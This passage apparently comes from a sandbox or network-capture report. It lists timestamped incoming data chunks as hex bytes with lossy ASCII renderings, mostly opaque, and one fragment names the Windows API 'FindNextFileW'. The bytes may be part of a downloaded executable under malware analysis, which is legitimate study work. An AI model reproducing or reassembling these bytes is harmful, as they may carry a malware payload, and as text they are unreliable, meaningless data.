2023-05-10 00:21:17 UTC	1712	IN	Data Raw: 12 b7 ff b1 f8 af 18 3a 41 4a 2b c2 18 99 e7 f2 9c d8 74 36 27 07 7b 1b b7 75 1b df 84 c1 59 24 9d 2c 64 b4 d2 e9 e0 8e 1a b3 f7 06 6a 23 1d 44 af 12 0e d9 85 83 95 4f d6 8e 71 5a e4 c0 fd da cf e2 5b bf 26 88 32 28 35 2c 8a 39 29 db 45 a5 a9 13 8a d4 58 24 62 b0 a0 ca 34 34 4a b4 19 48 44 dc 4c b3 69 ec de a5 2b 94 20 c8 24 d1 36 bf da 9c 53 31 d2 19 13 ee 73 0c 91 66 d8 58 34 a4 5f b4 ea 72 6f 9d e3 5b 97 3f 9d bb 8e ce 12 72 08 5c a5 16 9a 80 fb ed aa 85 9b ea bb 86 9b ae 92 00 99 0d 4c dd bf f8 f2 70 68 ec 5a 10 ec e1 fd 50 8a 6f 1e 31 96 84 83 71 8a dc 82 27 f9 3b ca ed 7a d9 a7 71 37 16 1d 1a f3 0a d6 4a 6a b3 38 92 47 06 96 fd 9e 97 56 ac 9d f9 78 26 5b 7e f2 de ef ab 40 12 79 a2 bd 80 aa e5 ed f4 0e 8b cb a4 28 ed bd 19 bf a7 cf 7d bd 54 2d e6 77 Data Ascii: :AJ+t6'{uY$,dj#DOqZ[&2(5,9)EX$b44JHDLi+ $6S1sfX4_ro[?r\LphZPo1q';zq7Jj8GVx&[~@y(}T-w
2023-05-10 00:21:17 UTC	1728	IN	Data Raw: 1c 12 c2 fe 19 73 77 c9 f0 b8 74 9f 38 a4 49 ca 39 bd 63 9d 45 ce 7c 57 f7 77 14 eb cc 62 c4 df 2c 7c 17 4e f0 e1 f4 58 67 65 50 d7 72 c2 21 5d 78 d1 9c 9f 0a 13 2c ba fc 4f 04 21 68 7d 5b 2c 03 55 c8 d4 20 9c 16 07 e0 ca 9c 64 e5 22 bb 39 d2 af 5d 52 3b f3 db 10 5f fe 69 ff f6 75 54 96 93 e1 90 54 9c 7c 4e 36 0d fd 9d a8 5c 6f 85 77 2d 50 71 de f7 22 a6 48 fa a3 4f d9 f6 97 a4 6d c2 6c 25 ad 12 72 c5 b5 f9 f0 ed c3 ea 36 76 98 62 1c cb 36 ef ac f7 d4 d1 31 a1 be c7 45 51 56 75 ba 23 3d 5b 86 49 87 2f 25 12 e0 36 b6 b4 4e ae 9e 85 c4 3a dc ff fe 4b dd e7 c9 fe 04 9d d1 f4 3c ba 3d 49 e5 90 5a ac 42 bc 33 ea ca 39 aa f2 6f 73 66 fc 74 c9 18 bd ff be 66 be d4 7d ef df c9 a0 96 99 4a 5d f2 72 9b f4 8a 7a 50 d8 eb 05 f0 8e 7a 38 ef 02 4f d3 0d 13 fe b3 ea 52 Data Ascii: swt8I9cE\|Wwb,\|NXgePr!]x,O!h}[,U d"9]R;_iuTT\|N6\ow-Pq"HOml%r6vb61EQVu#=[I/%6N:K<=IZB39osftf}J]rzPz8OR
2023-05-10 00:21:17 UTC	1744	IN	Data Raw: a0 78 ca e3 05 91 49 47 f9 7b 80 7b 67 6d b2 65 e8 da bb fd 20 24 42 b2 59 69 5d f5 8c 3c 57 b5 c2 39 aa 89 66 7c e5 37 25 01 c8 43 12 68 6b a7 dc 46 36 7e 48 f1 b8 d2 4d f5 15 e3 ac 2e b6 b8 fb 53 42 8c aa e1 9e cb c4 72 87 09 f1 cd 07 e3 1d 94 23 30 f8 10 34 9a 3b 9d 44 51 5b 58 93 b7 a5 46 3d 1a 44 c7 d6 b1 27 96 b7 6d 4c eb 23 21 a4 95 41 51 3d 9f ca 73 01 d2 53 5d 26 af b0 88 78 40 ad 5c a1 99 b7 19 c5 6e 4a e0 8e 59 61 f2 5a d8 c8 71 b3 81 06 b9 a2 a7 e3 90 19 d0 bb 64 78 8d ab 55 ea 3a 6a 07 14 71 a2 75 6a 17 02 02 fd 7b 12 56 d1 7e 4b 39 d2 f7 d2 d8 6a a0 ac cb 03 7e 92 04 52 c6 f8 3e d6 2e 5e a1 32 13 e0 8a e8 37 4f 58 9d c2 32 81 17 d2 fd 8e 02 b5 d0 32 87 8d 07 b5 e6 cc 4e 17 b5 a3 c8 7c 4a 0b 96 b6 e9 85 fa 63 78 c9 be c7 61 24 65 16 8a 4f 4c Data Ascii: xIG{{gme $BYi]<W9f\|7%ChkF6~HM.SBr#04;DQ[XF=D'mL#!AQ=sS]&x@\nJYaZqdxU:jquj{V~K9j~R>.^27OX22N\|Jcxa$eOL
2023-05-10 00:21:17 UTC	1760	IN	Data Raw: ef 91 c3 1d 08 d7 dd ec 9f b4 d8 f9 37 b5 b5 cd 0e 8b 56 64 75 89 7e 26 d1 ea a4 ed 86 49 7b 3f af 73 74 b8 68 45 21 11 97 68 32 71 ef 84 58 db 24 28 3b db 60 c4 bd 7b 88 ad da c3 05 f4 88 0c 52 d6 c1 15 ee fb c7 1e 09 ff d3 28 39 de 8a 81 dc 32 af 18 45 0c ef 02 e7 bf cc d9 06 6f 2f bc cb 6f 42 58 15 f6 68 a5 15 64 27 d8 8d 16 a5 fa 71 85 d5 8f ec 0b 06 d8 8d 8e f4 b6 a6 6a e8 73 e0 e9 35 fd c9 71 a6 2d c9 76 bd 47 cf 70 bb 50 b7 b0 f2 4f 11 d6 02 1b 0d 8a 60 e5 99 b4 3a df 8e 8c 39 e0 ce c7 d3 41 f7 2d 9d d0 b7 71 83 b3 dc 03 e5 53 78 c0 c6 0b 8a 07 be 9d 85 94 93 e9 7a 74 40 1a d8 90 c9 06 4d 93 53 00 35 e9 8f e6 80 28 c9 3d 52 19 2a e9 91 d5 cf 62 32 18 f4 37 7c 37 b0 c9 ef 12 3d 1e 26 a9 99 a1 58 d2 d3 69 99 07 d5 e6 3e af 24 b0 95 34 9b 0c 26 1d 4f Data Ascii: 7Vdu~&I{?sthE!h2qX$(;`{R(92Eo/oBXhd'qjs5q-vGpPO`:9A-qSxzt@MS5(=R*b27\|7=&Xi>$4&O
2023-05-10 00:21:17 UTC	1776	IN	Data Raw: 9e 7a 34 9e 13 b0 ac fd 6f a9 e7 98 e3 95 fc 0a ea 3e e3 f2 db 39 1b c9 bd 10 21 44 9a 88 1d 79 8c ee 2c e7 62 49 c6 2f 66 8b 95 ce f6 38 47 b4 35 0b 31 61 71 40 40 7a b3 f5 0f 00 fb 4f e7 ee 0a 9d c3 76 57 89 b4 8f 06 13 7c 2b 19 43 75 a3 05 24 0d 46 4a 78 56 73 58 d6 d7 63 74 85 9e 50 00 aa 54 2c 9d 73 44 98 f0 48 1a 90 34 d8 31 69 e6 83 40 75 0f 27 7a e0 92 0f d0 74 f6 25 47 56 a2 39 f9 6d 9b fa 92 15 a1 04 0b 8b 8b 59 7d 8a 77 ab 47 00 90 62 45 f7 43 6e 2a 77 72 61 3f de d4 2a 04 1c 24 79 c8 a3 c3 b3 01 16 ce 86 38 59 9e 8c f2 e1 7d a4 5f 01 6d 22 67 83 60 70 6f b9 97 1d 2a 28 55 3b 6f 41 44 a8 45 fa 98 35 de f0 78 d1 c8 f9 65 04 95 e0 84 d2 91 0f 48 aa 3f 7b 1d 4a 04 54 a6 c0 90 3c 4d 36 ef 66 36 9e e2 67 e5 50 46 17 f2 2b 5e 99 b2 e5 d7 29 b9 f7 0f Data Ascii: z4o>9!Dy,bI/f8G51aq@@zOvW\|+Cu$FJxVsXctPT,sDH41i@u'zt%GV9mY}wGbECnwra?$y8Y}_m"g`po*(U;oADE5xeH?{JT<M6f6gPF+^)
2023-05-10 00:21:17 UTC	1792	IN	Data Raw: 49 01 fe 67 01 20 d4 a0 eb 19 d0 fc ad f8 ff 0d 0d 23 1d 62 19 97 51 e7 f2 dc d5 a3 2e 34 27 d0 6a 1f b6 3c d4 7c 47 5a 76 a8 73 81 93 71 12 92 7f 95 16 53 99 01 8b d4 11 ff 2e 21 bb 21 dc a0 b6 ae 38 bb 1c f5 d1 fb 82 2e c6 81 2e 89 81 0e 62 ab 30 03 29 3e d6 20 5e c1 4f 9e c0 11 8f c9 73 8b 76 e3 14 21 e7 dd 30 24 c7 95 53 7d 0a 96 f4 80 3d 6c f3 07 92 40 7e f0 72 52 37 38 7e df c2 1e 8b 43 fe b8 61 45 a4 c1 f9 50 0d a0 c1 7c c6 66 7e 3c f9 8a fb dc 28 d1 2f 53 4b 8b 10 f8 f4 74 91 52 08 d9 8c 37 c0 65 94 f1 44 2e ed d7 a7 2d 1b 15 7d 48 f1 4d a1 10 1f 06 42 11 ef be e4 0e fb f3 5a 5f ae 87 63 80 af d5 76 12 40 81 63 4d 18 26 6e 87 3e 47 ce 73 ed 1a 4f e9 1b 5a 05 28 b0 a1 1a e2 b0 47 c3 80 95 5c ba b7 00 38 5d 78 e8 5c 78 2d aa 91 1f 5c d9 7d d9 07 18 Data Ascii: Ig #bQ.4'j<\|GZvsqS.!!8..b0)> ^Osv!0$S}=l@~rR78~CaEP\|f~<(/SKtR7eD.-}HMBZ_cv@cM&n>GsOZ(G\8]x\x-\}
2023-05-10 00:21:17 UTC	1808	IN	Data Raw: 7c 3e 20 de 5d 73 07 80 c2 ac 49 25 88 0f 25 b8 b9 20 dd ef 07 8b 96 41 09 21 22 67 fa e5 61 e9 42 bb 8b c0 53 4e c9 6d 0f e4 1a e0 e0 53 b3 97 71 d7 42 ce 25 c0 a4 07 f9 06 cd 6e ed cd 4c a9 33 53 74 67 ac 14 cf 5a 1f f7 52 b5 d2 17 0b 53 41 8b 6b 47 5e c2 9a e0 19 39 ea 4a b4 9e 94 66 18 a6 4b c9 12 c5 cf b6 b1 c3 75 22 f6 61 a1 72 01 e6 e2 c3 9c 1a e1 63 02 1d 9a d4 34 3e 3d f1 38 99 75 d6 68 7c d4 b3 b8 ea 05 a4 2c 95 98 d5 2f 34 25 43 21 4a 6b 08 4f b5 44 66 64 66 cd de 47 3c aa 1c 19 b6 e7 06 7c 32 ce b6 9a 7d 95 57 99 47 44 cb 7e c5 c0 1b bd 87 5d 41 0c 1e de 51 37 75 f9 b8 74 cc bd 4a 9c 9a a1 13 14 b7 cb c5 e1 0a 7d 94 b2 a1 fe 9a fe 9f 33 18 93 3d 89 cf 8c d4 6d 11 2d 59 56 e4 24 26 3e 6b 82 da 97 ae dc 8d 16 fe 81 e5 76 d0 08 0d 37 72 38 a2 28 Data Ascii: \|> ]sI%% A!"gaBSNmSqB%nL3StgZRSAkG^9JfKu"arc4>=8uh\|,/4%C!JkODfdfG<\|2}WGD~]AQ7utJ}3=m-YV$&>kv7r8(
2023-05-10 00:21:17 UTC	1824	IN	Data Raw: 9b fc 28 e7 4c f4 e9 9d 5a 3d 9e 53 52 8c ce 9a 66 51 5a 7e 6c 08 90 b9 0d 23 c4 ab 77 de ad 61 8b 39 39 ee a5 22 7b 02 ed c8 04 b1 eb f2 6b 54 25 f9 80 0b 71 59 db 7a bf 0c 6c 46 d9 20 cd 01 83 79 0b 0b dc f2 bb 03 99 53 8a 54 82 b0 c1 19 06 09 90 6d 3d e4 2c d9 7f d3 e6 6f 03 7d 3d 71 77 ac 2d 7f 09 1b 23 cd d5 74 be 83 ef cd e7 e4 e7 28 de 87 5d 94 c6 5c d2 f9 49 cc d0 86 b8 b2 d6 65 ec 57 3c 4e 1f be 17 e4 5a d2 3e 0f e4 5d 7f 9b f0 08 93 43 d7 a5 49 70 a1 31 c4 45 e6 44 fd 95 f8 e8 53 b8 4a de dd 3e fa ab 21 50 4b 1f 7d 1e 4e 82 a2 f1 6e 27 76 b7 8d 6c c4 cc 5a cd 13 87 ab f6 46 b3 e0 bc ad 1c 62 ec 85 fb 26 31 6f 26 3d 99 1e e5 78 19 55 b1 d0 0c 7d c8 0e 91 d8 67 77 f8 df 9e 58 52 45 9c cd d0 c7 46 1c 35 b0 86 8b 1d 1b 7a fe 16 9d 11 68 74 68 43 d1 Data Ascii: (LZ=SRfQZ~l#wa99"{kT%qYzlF ySTm=,o}=qw-#t(]\IeW<NZ>]CIp1EDSJ>!PK}Nn'vlZFb&1o&=xU}gwXREF5zhthC
2023-05-10 00:21:17 UTC	1840	IN	Data Raw: 73 28 f1 b8 34 99 67 6a ba 8b 7d 7a eb 9c 38 63 9d 52 a8 01 d0 ba c6 a2 27 80 19 3f eb 29 94 09 ee 45 72 9c db 05 e6 83 0f 54 63 d1 92 de f0 d1 df 21 b8 ce fa 79 db f9 1f 19 2a f1 46 91 9d b0 04 bf d5 e6 07 3f d5 15 9f c5 45 fd d5 79 0a c7 5b 65 fa 48 c1 4f d8 6f 6a d8 92 c1 6f 04 36 90 1b 35 e6 e9 df 17 56 8b 0b b8 4c 21 d9 0c d2 23 d6 8a 9e e4 1f cb 55 13 a3 ee 8f 5b 29 ac 1d 81 9a 1f 23 de 0d 64 98 90 c7 87 9d 67 ac 0b d7 2f 84 de 95 c8 7c 06 f2 df eb d9 a4 15 67 2a ec 0b af 1d 3c 04 10 1b 77 bc 2d b1 34 91 f5 e9 d6 97 71 31 e2 80 66 7e 37 55 85 af 6e 04 98 46 70 d5 a2 7e 2e 5d 03 9b 1f 52 4d b5 95 f6 67 fc 55 ae 12 cc f5 48 31 b6 85 30 a2 8b 5d f2 da 44 46 77 18 a0 ab a6 cc cd 22 36 fe 0a 76 f0 96 04 50 76 0d 44 49 d2 92 96 9e c6 f0 f1 9e cb 9e 15 7f Data Ascii: s(4gj}z8cR'?)ErTc!yF?Ey[eHOojo65VL!#U[)#dg/\|g<w-4q1f~7UnFp~.]RMgUH10]DFw"6vPvDI
2023-05-10 00:21:17 UTC	1856	IN	Data Raw: 5f 22 d1 85 81 db a3 fd 44 ba ad 36 1a b0 f7 7a 24 72 fb a3 c7 30 91 79 2a 05 58 f8 d0 fc bb 87 e0 6d 08 b1 dd 40 70 08 d6 de 08 99 2b a6 56 a9 20 ec 44 f0 9c 37 20 20 bd 36 a2 54 ae c9 60 f1 2f d1 fe 9e 09 bf 21 c7 65 97 ae 2b de 91 3b 51 b1 8a 4b 0f 29 7e d1 c0 83 f6 ed 95 5d 32 4d f2 fe bc 46 f3 fd 93 49 ac f8 a8 1c a6 e7 f5 6a 27 96 74 1e ec 54 b4 28 4f 61 c2 e6 bb 29 a5 33 fa b3 dd ee 6d 0e 10 fe c8 c3 e4 2d 0d 6f 5e d4 9f ed 22 a9 7f f7 a6 b6 ae ff 18 3b 6c 7e e7 19 8b b8 54 16 d9 b7 ea a9 ff 99 9a 76 a9 a6 65 5e a5 a8 03 eb f3 be b2 2e 7e 9f 8f b3 13 0f 2f 99 9f 18 2c e9 1f 66 f8 5a 63 ac 8f 0b 9a ed 4a 26 d4 db 27 bb c4 6a 35 ae f9 17 11 67 2e e1 0b 37 69 5a ef 41 eb df eb 2a 34 4a f0 4e ab 5e 80 0d 6a 44 bd a9 3b c9 2f 2a 46 2a 36 1d e8 3e 27 71 Data Ascii: _"D6z$r0yXm@p+V D7 6T`/!e+;QK)~]2MFIj'tT(Oa)3m-o^";l~Tve^.~/,fZcJ&'j5g.7iZA4JN^jD;/F6>'q
2023-05-10 00:21:17 UTC	1872	IN	Data Raw: 54 86 fd 85 22 32 a3 2e 9d fc e7 1b 65 24 3a ad 91 48 30 16 9d 35 06 e0 e5 33 43 38 30 20 99 b7 1c 30 93 a1 7f 63 c8 08 52 3c ff 7d ec 43 3d eb 51 79 0c 19 bf da 01 32 ec b0 98 b1 c0 72 53 fc 63 2a ef d4 b0 63 09 2c 69 2a 05 d8 e5 e6 5e 73 e6 87 4e b7 cd cd 3e 93 74 62 d4 6b b4 e8 da 09 20 c0 bc c3 f3 e5 62 98 40 f5 26 69 08 9b f4 db 40 a6 fb 2b d8 b6 c1 41 1b ae 78 0c 98 4a 42 05 f4 7b 98 77 bc f6 bf dd 64 d4 7f b8 32 6d 31 1c 7e d3 8b 02 3c 51 94 c4 02 ca b2 0c 91 6d 69 cb 2a 72 77 d7 5c 8b 9c ec bc 3c 62 ba ac 81 d5 c6 79 63 62 d5 f0 df ff 7a 5f 93 dd 43 d6 71 45 9c bf 7b 86 37 56 23 af 49 0a 6f d8 04 af dd ff f0 32 b8 04 02 9b c1 4e a6 7a 64 65 63 06 f7 34 6f dc 03 ca 56 32 db 5a 5e 45 7a 17 12 20 8c 0d 0d 3f be f4 af a1 a8 dc 35 4b a0 58 e0 18 9b 22 Data Ascii: T"2.e$:H053C80 0cR<}C=Qy2rScc,i^sN>tbk b@&i@+AxJB{wd2m1~<Qmi*rw\<bycbz_CqE{7V#Io2Nzdec4oV2Z^Ez ?5KX"
2023-05-10 00:21:17 UTC	1888	IN	Data Raw: 9e 4e fd 6a 71 8c e2 e4 d9 a3 0c 65 cd ed 38 ac 1d d3 9d c0 bf 9a cd 19 81 2c a6 ea 03 6d 58 1f 45 5f 5b a4 38 60 53 c3 2f d5 7d b8 1d 0b bf e8 b2 75 be 3d 7c 2c 1c 8a 47 24 f9 32 48 19 99 ed 71 d2 54 20 1a 8d 79 0f a2 e6 a7 62 60 d5 f8 a9 32 a1 82 52 08 fa ee 1d 7f e1 1f ce e8 2d 97 2e ee ca 94 3d d8 85 75 91 26 41 26 0e 51 9a d2 50 fb 76 01 9a c6 31 ea dd d9 c1 08 45 2d 8a bb 60 72 22 0d 6c 6d 1a dd 8b 24 2f 04 03 2d d6 d1 12 c1 3b a7 c0 ae 41 80 57 95 81 47 23 db db c0 0f 70 f1 ca fa ff a8 65 d9 75 11 17 20 2c cc 50 59 6f c6 78 82 7c 2e 7f 73 3c 36 62 04 b5 82 02 08 ea 76 3d 4b f2 47 20 7c e2 e1 49 17 b3 88 39 a1 13 60 9b 6f 60 f2 c4 ed 18 ec e8 85 42 c8 61 51 65 94 32 63 a4 30 f6 5f 12 9b 34 0b 16 73 20 ae 9d 43 e4 a9 42 6e 8b 96 ad 4c d4 e9 7d 27 3f Data Ascii: Njqe8,mXE_[8`S/}u=\|,G$2HqT yb`2R-.=u&A&QPv1E-`r"lm$/-;AWG#peu ,PYox\|.s<6bv=KG \|I9`o`BaQe2c0_4s CBnL}'?
2023-05-10 00:21:17 UTC	1904	IN	Data Raw: b7 3d fc 07 20 3d 0e e2 ca e4 19 5b a9 19 2b 3d db cb 52 29 27 f4 aa 42 68 24 01 b7 c4 ba b5 ca 46 d6 9b 6d 7f 30 27 09 d7 b3 ab ca 9a f9 c7 6e cd f6 15 39 66 31 ff a6 8b 06 b0 77 85 92 89 eb 71 e2 93 5a 92 cd 7c fe ec 77 5b c8 04 f8 89 5b 86 2b 7f af de 4a 3f ec 82 d7 71 c9 a4 be ce a4 93 52 3f e1 ba 7e ce d4 6c 78 e2 1d c3 20 ad d1 82 dd 65 e3 21 13 7a 4c d4 6c 91 c0 2d 71 76 2c 2a 14 fb ff 4e 0f d1 ac 67 d1 92 20 af 53 15 84 08 b2 48 ea d5 b8 80 f1 f9 aa c1 2d dc cb 51 a0 77 a0 5c 0d 90 e9 13 29 32 d9 b2 f0 14 3e 6e 29 d2 18 5e e0 50 47 c3 9e 8a 83 5c a0 f4 b2 d8 33 8e 31 a2 54 eb d9 89 b7 53 12 03 49 58 96 33 fb c5 74 df f6 45 1e ad 81 77 e6 95 e7 cf aa 4c 5a 8e aa d6 23 39 25 70 15 01 7f dc 71 19 af 4b 87 68 43 72 98 73 9a 27 15 d8 98 ed 9f 13 d9 cf Data Ascii: = =[+=R)'Bh$Fm0'n9f1wqZ\|w[[+J?qR?~lx e!zLl-qv,*Ng SH-Qw\)2>n)^PG\31TSIX3tEwLZ#9%pqKhCrs'
2023-05-10 00:21:17 UTC	1920	IN	Data Raw: 90 4f f4 5e 96 97 f2 74 8a 0a f5 14 0a dd ed 67 64 33 62 b5 80 59 b8 06 65 ee 52 dc 44 94 c7 bd eb ef 3c 72 da 39 fa ac 4c d9 c2 26 d8 d3 f4 40 95 46 ee 6e ab 56 d9 91 c4 7d dd 07 bc 5e 1f cd a9 53 1f 3b 82 64 cf 96 0a 64 c8 33 72 1d 59 f8 c0 0a 8e 6c 04 7a 4b 4b 39 d8 6a c5 6f 9f 04 34 59 8a 49 9e 2b 25 40 15 dc d5 7f ee 00 1c 8d ed 85 ab 26 7f a0 96 09 3b d6 cb 53 7d bc 84 cd cc ff 9e 4b b6 cf 05 fc 7a 9c 33 f3 d3 28 3a 2b ff 49 62 ef eb 9a ef 99 04 9d 15 5c 25 13 58 ea f9 8c 56 eb 79 79 d3 7a 59 0e c4 02 ba 8a 9d 5a 47 7b dd ae 90 05 94 c1 72 ff 11 79 91 84 1d 6a 3a c6 2e d2 0c c8 4a f0 06 6e f6 f8 6a 02 01 3b df 76 93 78 84 e0 fa 87 d8 c0 1b 2e 8b b6 18 39 6f 88 fc e5 4b 5a 42 8a 3d b4 40 17 cd 7a 63 31 2d 97 eb f4 ea a7 de 68 90 6b 93 00 4b a8 c8 81 Data Ascii: O^tgd3bYeRD<r9L&@FnV}^S;dd3rYlzKK9jo4YI+%@&;S}Kz3(:+Ib\%XVyyzYZG{ryj:.Jnj;vx.9oKZB=@zc1-hkK
2023-05-10 00:21:17 UTC	1936	IN	Data Raw: 96 61 9b 34 21 69 bf 79 26 37 05 34 0d e9 02 0f db 79 b2 35 88 dc bd 34 05 86 91 59 7e 99 0f 83 ba 21 72 ba 9b 14 c1 01 88 9e 67 ff b2 4f 74 a3 fb a1 78 0f 33 55 a7 10 a3 a0 46 aa 03 1e 4f 2c bd a9 da be 1f 96 2c 4f fe 63 96 e6 50 e1 ba 30 ab 0d 11 57 05 e0 94 b4 bf 8d a2 b8 a8 3a 65 ab 8a bd 45 0a 86 5a 85 e2 52 ca 80 6c 3a 84 73 34 71 9b a1 a2 82 4f bb 54 0b 18 82 30 09 9a 14 c1 01 4f 93 3d 4c 75 11 12 59 49 16 5f 45 d7 9b 6f f5 df a4 bd d9 48 af 5a de 92 1a 5f ea 08 ce a7 dd 62 a2 b1 51 42 f0 0a 09 36 46 1b 62 1b fb 06 1b ab 85 d2 8a dc 9b 14 c1 00 74 a6 86 99 4a fe f1 99 9c cf dd 44 7d e4 9a 2c 88 13 63 20 f0 78 4e 0e 30 cf f6 92 24 e2 6e 6f 6d e3 30 88 58 a8 fb 23 bd 88 df 72 85 4b c1 0c d6 ee a4 63 42 26 76 c2 f9 5d e2 c5 3f 3e a2 62 a2 b8 2b 66 f0 Data Ascii: a4!iy&74y54Y~!rgOtx3UFO,,OcP0W:eEZRl:s4qOT0O=LuYI_EoHZ_bQB6FbtJD},c xN0$nom0X#rKcB&v]?>b+f
2023-05-10 00:21:17 UTC	1952	IN	Data Raw: ef df 00 0d 03 ab 2b 03 0d 1b 62 61 f3 f2 42 ce d3 f8 f2 21 49 cb 0b 0d 60 b9 dc 0e 0d 08 76 66 08 0d 91 68 56 fa f2 04 e2 da f6 f2 e5 96 1b a1 ee 76 80 fd 30 4c 89 83 99 0a a8 26 a9 a2 42 3a ab e8 39 53 a5 c3 af 38 ac 09 15 87 a8 12 e2 f4 19 19 87 47 a6 11 8e f9 59 73 85 e1 2f 65 dd 75 7a b5 3f 81 46 bd 4b 50 5e 4d 8c f2 b2 49 5a 73 f5 f4 56 70 48 bd 92 3b 31 d3 ac 95 d3 76 d2 53 db fd 5e 42 ed ee ac c0 f3 78 05 e6 c8 64 06 05 23 5c 0b d0 b9 2c 1d 55 d7 39 5c 2c 53 d7 6a 90 82 5e 16 ea aa 4e 8f cb 78 15 af 28 2b c7 59 ac 69 9d b4 84 98 8b aa 58 d7 d1 42 d8 a8 69 e9 f4 8c 8b c8 b9 d4 d7 8d 9d 62 10 ef 40 5d 9c 2d 55 e3 0f c6 b5 51 5c 28 9a 00 5c 9c 12 12 ff f2 43 27 45 f3 f2 39 38 5d 00 0d 61 a0 4a 05 0d 01 47 f0 03 0d a0 e9 c0 f1 f2 a5 53 4c fd f2 54 e9 Data Ascii: +baB!I`vfhVv0L&B:9S8GYs/euz?FKP^MIZsVpH;1vS^Bxd#\,U9\,Sj^Nx(+YiXBib@]-UQ\(\C'E98]aJGSLT
2023-05-10 00:21:17 UTC	1968	IN	Data Raw: 6e 64 4e 65 78 74 46 69 6c 65 57 00 a5 3e 2b 70 93 c7 cb 07 d6 c6 5f e3 1f 7c 35 e5 5b 25 82 5f f4 48 22 62 15 a2 6a 48 69 24 af 81 a8 54 62 e7 de a4 c5 8e cb ec 42 64 f6 55 a6 d0 3b c6 e9 87 4a 82 61 16 53 8d 01 c3 57 a0 fb 29 62 87 88 e3 83 e1 25 30 d9 7d 87 e4 23 de 9d 5d 22 01 b4 96 e4 af ea 54 ab 6a d7 b5 58 3a d6 0e 97 02 37 5c 9e 50 1f 39 d9 9f 29 21 de 4e c9 df e8 b9 32 e6 e5 da 05 79 92 f6 c6 37 0e 9d 84 8c 1a 66 a1 60 2f 91 b7 b2 3b e3 e8 b9 bd bc eb e6 2b 3d d0 9a e4 4f da d2 72 94 72 91 a6 8f 11 26 7d 5e ef 32 fc f1 d5 7d 69 d9 70 a2 86 bf a8 28 6b 8b 72 b8 fa 84 55 93 b2 55 03 3e 91 89 c0 8f 80 d0 10 f1 b6 e7 a5 eb c2 95 a4 03 64 e7 e0 45 4d a6 a6 e5 ce e0 66 ed cc 73 77 6d f1 0a 1c ea aa 2a cc 75 a4 c1 1f b8 a5 f6 41 80 dc 4f e4 d8 c7 55 84 Data Ascii: ndNextFileW>+p_\|5[%_H"bjHi$TbBdU;JaSW)b%0}#]"TjX:7\P9)!N2y7f`/;+=Orr&}^2}ip(krUU>dEMfswm*uAOU
2023-05-10 00:21:17 UTC	1984	IN	Data Raw: 30 cc 81 72 da 70 cc 7f 28 7c f2 30 80 89 05 d1 cb 7f 58 d0 2b 32 7e 22 9a 00 3f 80 10 bc 9a c6 81 bc 0c 41 c4 81 41 a9 33 c5 7f 94 74 93 37 7e 7e 82 86 25 7e 15 95 d0 25 7e 6c d4 9e 7f a2 59 bb 12 0a a2 49 1c 47 ef 6a 02 2e 28 7e 3c 0a 5c 7f a2 e1 5a 6f e0 2a b9 fd 81 d6 a1 b2 f0 5d e4 35 48 1a 95 68 55 dc 81 a7 81 7a 30 fe 6b bd ae 8d 14 f9 3a b5 44 c8 6f 6a 52 f8 01 cf 66 8e c9 49 e9 ca a2 77 70 5e 80 da 77 69 24 d5 42 88 fe 56 61 57 88 ad 9f 1f a4 77 05 17 3e dc 77 16 81 ac a5 77 cb f6 77 56 88 d7 a2 27 26 88 47 00 36 a8 77 bc c3 1c a6 77 31 80 c1 52 88 0b 9a 40 2e 88 ea 40 15 b6 77 9d f2 a1 a3 77 0e fb df 50 88 66 83 fe 28 88 85 85 6c 51 88 a8 62 b7 a2 77 53 84 6b 04 5c 75 b1 42 e8 c2 46 3b b7 e9 30 a4 10 ba 17 02 ba 8a 43 16 ea 6a 51 41 16 cf 7f 23 Data Ascii: 0rp(\|0X+2~"?AA3t7~~%~%~lYIGj.(~<\Zo*]5HhUz0k:DojRfIwp^wi$BVaWw>wwwV'&G6ww1R@.@wwPf(lQbwSk\uBF;0CjQA#
2023-05-10 00:21:17 UTC	2000	IN	Data Raw: 96 b8 72 e1 d5 e1 38 35 4d 91 ab 5e 9e aa 46 55 de fd c0 04 e7 6d 01 b7 2f ee 4a 7a 2f e7 e8 ec ce c0 41 73 0d 15 e0 fc 87 12 61 f3 f7 cb e6 85 35 9d 44 85 ea 95 31 6c b5 72 05 3d 1b 35 35 fd c9 51 53 9e c6 76 af d3 fd ac 8c 1d 60 01 23 9f 14 47 7a 97 47 12 e1 ce 4c b9 89 00 15 1c 0c 7d 26 01 de a5 60 33 7a af 1c bf 7b 85 11 01 dc 35 5d 39 c5 7a b2 28 dc eb 2a c3 87 fb 4e 72 5b 29 e4 d8 1c a9 b9 55 1b 1c 7b 5f fb 75 42 3d ae 53 5e ae 77 dc 39 a3 be 52 98 b4 d8 93 ce 31 ed 50 4b 84 36 ab 4d 28 ca 27 e3 89 8e 4d 22 6e a7 de 3c 95 19 02 86 a4 aa b6 94 e8 56 7a cf 57 e8 84 65 31 46 60 f2 5b 45 88 a7 e1 33 a1 2e e1 b7 4f 8e df 87 2f 51 f6 a7 77 0f 40 a3 51 cf 5e 72 b7 e7 4d 08 9a 98 cb 7b fe 45 1f 15 97 05 4a 67 40 9a 1d 34 f0 c4 a4 51 da 9c b0 2b a8 e5 e4 ad Data Ascii: r85M^FUm/Jz/Asa5D1lr=55QSv`#GzGL}&`3z{5]9z(*Nr[)U{_uB=S^w9R1PK6M('M"n<VzWe1F`[E3.O/Qw@Q^rM{EJg@4Q+
2023-05-10 00:21:17 UTC	2016	IN	Data Raw: 37 b2 d5 85 f3 6a 7d 90 60 07 26 21 5b 91 3c 49 32 d7 20 9e da 24 e9 44 89 ba f8 29 95 f2 f0 5b 66 f7 2f 7e 2d a5 ac 22 25 4a 30 0f 09 39 ef 14 e5 e9 7f 68 97 4b 71 9a 0e 5b 41 af f5 78 8a 75 b1 1c 33 c0 4d 6d 48 a4 a6 fe 4e d0 75 20 8d c3 32 20 3d 25 82 99 29 84 62 84 3a af 39 31 1a 40 6c 9c 7b 14 b2 0c 2d a4 81 a4 91 e7 46 a3 d1 b5 a3 68 3f fb 6c 4a 79 61 ad 15 e5 e9 7f d1 38 1d 33 2b bf 7b 83 45 d6 6f cf 37 93 6e 8c a8 98 62 81 b2 46 17 60 56 7f e5 59 35 7c d5 aa e6 e3 39 7c f5 b5 1c 3f 55 53 8f 9c 12 13 14 e5 e9 7f 29 58 e2 8d f4 61 d6 97 e3 27 6d 87 89 4f d2 f1 70 64 30 79 16 72 0a 76 75 e0 90 6d cc af 1a ee f1 2e 44 50 12 b9 67 97 52 15 e5 e9 7f 01 34 0e 33 cc 58 e4 51 4a a1 cc 53 c8 7a d7 c7 c8 f5 b8 dd ee cc f1 f2 26 55 5c a1 cb 3a b2 ff 45 bd 19 Data Ascii: 7j}`&![<I2 